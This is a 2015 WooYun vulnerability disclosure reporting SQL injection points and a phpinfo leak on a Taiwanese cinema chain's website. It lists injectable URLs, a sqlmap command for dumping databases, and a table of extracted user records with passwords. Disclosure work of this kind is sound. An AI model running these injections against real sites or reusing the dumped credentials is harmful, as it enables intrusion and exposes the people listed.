当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123347

漏洞标题：台湾in89豪华数位影城多处SQL注射漏洞+phpinfo信息泄露

相关厂商：in89豪华数位影城

漏洞作者： 路人甲

提交时间：2015-07-02 11:34

修复时间：2015-08-17 11:32

公开时间：2015-08-17 11:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：16

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-02： 细节已通知厂商并且等待厂商处理中
2015-07-03： 厂商已经确认，细节仅向厂商公开
2015-07-13： 细节向核心白帽子及相关领域专家公开
2015-07-23： 细节向普通白帽子公开
2015-08-02： 细节向实习白帽子公开
2015-08-17： 细节向公众公开

简要描述：

多处参数存在SQL注射，phpinfo()敏感信息泄露。。

详细说明：

1、多处注入点

注入点
http://www.in89.com.tw/news.php?nid=73
http://www.in89.com.tw/ticket.php?pid_for_show=4670
http://www.in89.com.tw/website_module.php?website_module_classify_sn=34


2、sqlmap（注意参数设置）

sqlmap.py -u "http://www.in89.com.tw/news.php?nid=73" --techn
ique=B --dbs


图片1.png


部分敏感信息

+------------+------------------------------------+-----+--------+--------------
--------------+------------------------+---------+---------------------------+--
--------------------------------------------------------------------------------
---------------+
| id         | zip                                | job | pwd    | city
              | name                   | title   | e_mail                    | a
ddress
               |
+------------+------------------------------------+-----+--------+--------------
--------------+------------------------+---------+---------------------------+--
--------------------------------------------------------------------------------
---------------+
| dennis     | \\?b9\\?c5\\?b8q\\?a5\\?ab 600     | 119 | 601008 | \\?b9\\?c5\\?
b8q\\?a5\\?ab | DENIS                  | 2       | [email protected]      | D
SFSDFSD
               |
| mitory     | \\?a4\\?a4\\?a4s\\?b0\\?cf 104     | 101 | mitory | \\?a5x\\?a5_\
\?a5\\?ab     | mitory                 | 1       | [email protected]      | 1
25
               |
| nico       | \\?b4\\?f2\\?a4f\\?b6m 303         | 106 | nico   | \\?b7s\\?a6\\
?cb\\?bf\\?a4 | 11                     | 1       | [email protected]        |
1111
               |
| noddy      | \\?a6\\?e8\\?b0\\?cf 403           | 117 | noddy  | \\?a5x\\?a4\\
?a4\\?a5\\?ab | noddy                  | 2       | [email protected]       | \
\?abn\\?a8\\?ca\\?aaF\\?b8\\?f4\\?a4T\\?acq12\\?b8\\?b9
               |
| noddy2     | \\?a4\\?a4\\?a5\\?bf\\?b0\\?cf 100 | 101 | noddy  | \\?a5x\\?a5_\
\?a5\\?ab     | noddy                  | 1       | [email protected]       | 1
234
               |
| rebirth047 | \\?b8U\\?b5\\?d8\\?b0\\?cf 108     | 111 | 640124 | \\?a5x\\?a5_\
\?a5\\?ab     | \\?aaL\\?b8t\\?b4\\?d1 | <blank> | [email protected] | \
\?a5x\\?a5_\\?a5\\?ab\\?aaZ\\?a9\\?f7\\?b5\\?f3\\?a4G\\?acq124\\?b8\\?b95\\?bc\\
?d3\\?a4\\?a72 |
+------------+------------------------------------+-----+--------+--------------
--------------+------------------------+---------+---------------------------+--
--------------------------------------------------------------------------------
---------------+


3.phpinfo()信息泄露，还开启了危险模式！！

图片2.png

漏洞证明：

已证。。

修复方案：

。。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-07-03 11:31

厂商回复：

感謝通報！！

最新状态：

暂无